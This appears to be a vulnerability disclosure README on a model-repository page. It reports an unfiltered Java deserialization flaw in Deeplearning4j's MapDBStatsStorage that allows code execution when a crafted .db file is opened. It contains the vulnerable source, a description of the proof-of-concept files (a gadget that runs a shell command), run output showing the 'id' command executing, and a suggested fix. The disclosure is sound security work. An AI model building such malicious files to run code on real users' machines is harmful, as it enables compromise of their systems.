You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

CWE-502 Unfiltered Java Deserialization RCE in DL4J MapDBStatsStorage via a malicious MapDB (.db) StatsStorage file

Target: Eclipse Deeplearning4j β€” deeplearning4j-ui-model Artifact: org.deeplearning4j:deeplearning4j-ui-model:1.0.0-M2.1 (released to Maven Central, Aug 12 2022 β€” latest release) Vulnerable classes: org.deeplearning4j.ui.model.storage.mapdb.MapDBStatsStorage$SessionTypeWorkerIdSerializer and $SessionTypeIdSerializer Sink file: MapDBStatsStorage.java:266-270 (and 288-292) Vulnerability class: CWE-502 Deserialization of Untrusted Data β†’ Remote Code Execution Trigger: Victim opens/reads an attacker-supplied MapDB .db StatsStorage file through the public DL4J UI API.


Summary

MapDBStatsStorage is DL4J's on-disk (MapDB-backed) implementation of the training-UI StatsStorage interface. Its constructor new MapDBStatsStorage(File) opens any attacker-supplied .db file, and it registers two custom MapDB key serializers for its on-disk HTreeMaps:

  • SessionTypeWorkerIdSerializer β€” key serializer for the "staticInfo" HTreeMap
  • SessionTypeIdSerializer β€” key serializer for the "storageMetaData" HTreeMap

Both deserialize() methods perform:

ObjectInputStream in2 = new ObjectInputStream(new DataInput2.DataInputToStream(in));
return (SessionTypeWorkerId) in2.readObject();

with no ObjectInputFilter, no allow-list, and no class validation. The bytes fed to readObject() are the raw stored map-key bytes read straight out of the .db (MapDB) file. Because the (SessionTypeWorkerId) / (SessionTypeId) cast happens after readObject() returns, any Serializable gadget's readObject() executes before the cast is even attempted β€” so the ClassCastException is post-exploitation noise, not a defense.

Any public read accessor that iterates a map's keySet() forces MapDB to deserialize every stored key via the vulnerable serializer: getAllStaticInfos, listTypeIDsForSession, listWorkerIDsForSession, listWorkerIDsForSessionAndType, and checkStorageEvents (called on every put*). Opening the file plus one ordinary read is enough to reach readObject() on attacker-controlled bytes.

Root cause (verbatim released source)

From deeplearning4j-ui-model-1.0.0-M2.1-sources.jar, MapDBStatsStorage.java:

//Simple serializer, based on MapDB's SerializerJava
private static class SessionTypeWorkerIdSerializer implements Serializer<SessionTypeWorkerId> {
    @Override
    public void serialize(@NonNull DataOutput2 out, @NonNull SessionTypeWorkerId value) throws IOException {
        ObjectOutputStream out2 = new ObjectOutputStream(out);
        out2.writeObject(value);
        out2.flush();
    }

    @Override
    public SessionTypeWorkerId deserialize(@NonNull DataInput2 in, int available) throws IOException {
        try {
            ObjectInputStream in2 = new ObjectInputStream(new DataInput2.DataInputToStream(in));
            return (SessionTypeWorkerId) in2.readObject();   // <-- UNFILTERED readObject on file bytes
        } catch (ClassNotFoundException e) {
            throw new IOException(e);
        }
    }
    ...
}

SessionTypeIdSerializer.deserialize (lines 288-292) is identical with a (SessionTypeId) cast.

The constructor opens the untrusted file with the exact same MapDB options an attacker can replicate:

DBMaker.fileDB(f).closeOnJvmShutdown().transactionEnable().make();

Attack scenario

The DL4J training UI stores/loads stats from disk. A .db StatsStorage file is a natural artifact to share, host, or restore (bug reports, shared experiment runs, checkpoints). A victim who opens an attacker-supplied .db with new MapDBStatsStorage(file) and performs any normal read (or any put*, which internally calls checkStorageEvents) triggers deserialization of attacker-controlled key bytes β†’ arbitrary code execution in the victim JVM.

Proof of Concept

All dependencies are real released Maven Central artifacts: deeplearning4j-ui-model:1.0.0-M2.1, deeplearning4j-core:1.0.0-M2.1, org.mapdb:mapdb:3.0.5 and its runtime deps (kotlin-runtime/kotlin-stdlib 1.0.7, eclipse-collections 7.1.2, guava 19.0, lz4 1.3.0, elsa 3.0.0-M5).

  • Evil.java β€” a Serializable gadget whose readObject() runs Runtime.exec. Stand-in for any real gadget-chain (Commons-Collections, etc.); here it self-demonstrates execution timing (runs during readObject, before the cast).
  • MakeMalicious.java β€” opens a MapDB fileDB with the exact DBMaker options the victim constructor uses, and writes the "staticInfo" HTreeMap with a key serializer that emits a serialized Evil gadget as the key bytes.
  • Victim.java β€” public API only: new MapDBStatsStorage(new File("malicious.db")) then getAllStaticInfos("s","t").
  • MakeBenign.java β€” negative control: identical structure but a benign String key.

Malicious run (RCE)

$ java -cp <released jars> Victim verify_mal.db
[Victim] new MapDBStatsStorage(new File("verify_mal.db"))
[Victim] sessions=[]
[Victim] calling getAllStaticInfos("s","t") -> iterates staticInfo.keySet()
[Evil.readObject] EXECUTED -> `id; echo PWNED_MAPDB_VERIFY_1929118783` output:
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin)
PWNED_MAPDB_VERIFY_1929118783

Exception in thread "main" java.lang.ClassCastException: class Evil cannot be cast to class org.deeplearning4j.ui.model.storage.BaseCollectionStatsStorage$SessionTypeWorkerId
    at org.deeplearning4j.ui.model.storage.mapdb.MapDBStatsStorage$SessionTypeWorkerIdSerializer.deserialize(MapDBStatsStorage.java:269)
    at org.deeplearning4j.ui.model.storage.mapdb.MapDBStatsStorage$SessionTypeWorkerIdSerializer.deserialize(MapDBStatsStorage.java:257)
    at org.mapdb.HTreeMap$leafValueExternalSerializer$1.deserialize(HTreeMap.kt:228)
    at org.mapdb.HTreeMap$leafValueExternalSerializer$1.deserialize(HTreeMap.kt:214)
    at org.mapdb.StoreDirectAbstract.deserialize(StoreDirectAbstract.kt:229)
    at org.mapdb.StoreWAL.get(StoreWAL.kt:527)
    at org.mapdb.HTreeMap.leafGet(HTreeMap.kt:1374)
    at org.mapdb.HTreeMap$htreeIterator$1.moveToNextLeaf(HTreeMap.kt:1057)
    at org.mapdb.HTreeMap$htreeIterator$1.<init>(HTreeMap.kt:1047)
    at org.mapdb.HTreeMap.htreeIterator(HTreeMap.kt:1037)
    at org.mapdb.HTreeMap$KeySet.iterator(HTreeMap.kt:973)
    at org.deeplearning4j.ui.model.storage.BaseCollectionStatsStorage.getAllStaticInfos(BaseCollectionStatsStorage.java:155)
    at Victim.main(Victim.java:13)

The id output and the unique marker PWNED_MAPDB_VERIFY_1929118783 are printed inside SessionTypeWorkerIdSerializer.deserialize (from readObject) before the post-execution ClassCastException. Command execution completed with no gadget class ever being successfully cast.

Negative control (benign String key)

$ java -cp <released jars> Victim verify_benign.db
[Victim] new MapDBStatsStorage(new File("verify_benign.db"))
[Victim] sessions=[]
[Victim] calling getAllStaticInfos("s","t") -> iterates staticInfo.keySet()
Exception in thread "main" java.lang.ClassCastException: class java.lang.String cannot be cast to class org.deeplearning4j.ui.model.storage.BaseCollectionStatsStorage$SessionTypeWorkerId
    at org.deeplearning4j.ui.model.storage.mapdb.MapDBStatsStorage$SessionTypeWorkerIdSerializer.deserialize(MapDBStatsStorage.java:269)
    at org.deeplearning4j.ui.model.storage.BaseCollectionStatsStorage.getAllStaticInfos(BaseCollectionStatsStorage.java:155)
    at Victim.main(Victim.java:13)

No [Evil.readObject] EXECUTED, no id / marker output β€” only the identical post-deserialization ClassCastException. This proves the command execution is gadget-driven (the attacker's readObject), not an artifact of the harness or of the cast.

Impact

Remote code execution in the context of any application/user that opens an untrusted MapDBStatsStorage .db file and performs any read or write through the public API. No authentication or special configuration required; the default constructor path is vulnerable.

Suggested fix

Install a strict ObjectInputFilter (allow-list of only the expected SessionTypeWorkerId / SessionTypeId and their field types) on the ObjectInputStream in both deserialize() methods, or replace Java serialization of these keys with a fixed non-reflective wire format (e.g. explicit field read/write via DataInput2/DataOutput2), matching the guidance already applied to other DL4J deserialization sinks.

Deduplication note

  • Distinct from the sibling J7FileStatsStorage SQLite deserialization sink (different storage backend β€” SQLite vs MapDB, different class, different on-disk format; there the readObject lives in a direct BLOB read, here it lives inside a MapDB HTreeMap key serializer).
  • Distinct from the DL4J ModelSerializer, SameDiff, WordVector, and Arbiter deserialization findings (different classes, entry points, and file formats).
  • No CVE currently assigned to MapDBStatsStorage. The class is present in the latest released jar (1.0.0-M2.1) β€” confirmed via unzip -l: org/deeplearning4j/ui/model/storage/mapdb/MapDBStatsStorage$SessionTypeWorkerIdSerializer.class and $SessionTypeIdSerializer.class.

Reproduction files

Evil.java, MakeMalicious.java, MakeBenign.java, Victim.java are included in this repo. Compile against the released jars listed above and run MakeMalicious then Victim (malicious) and MakeBenign then Victim (negative control).

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support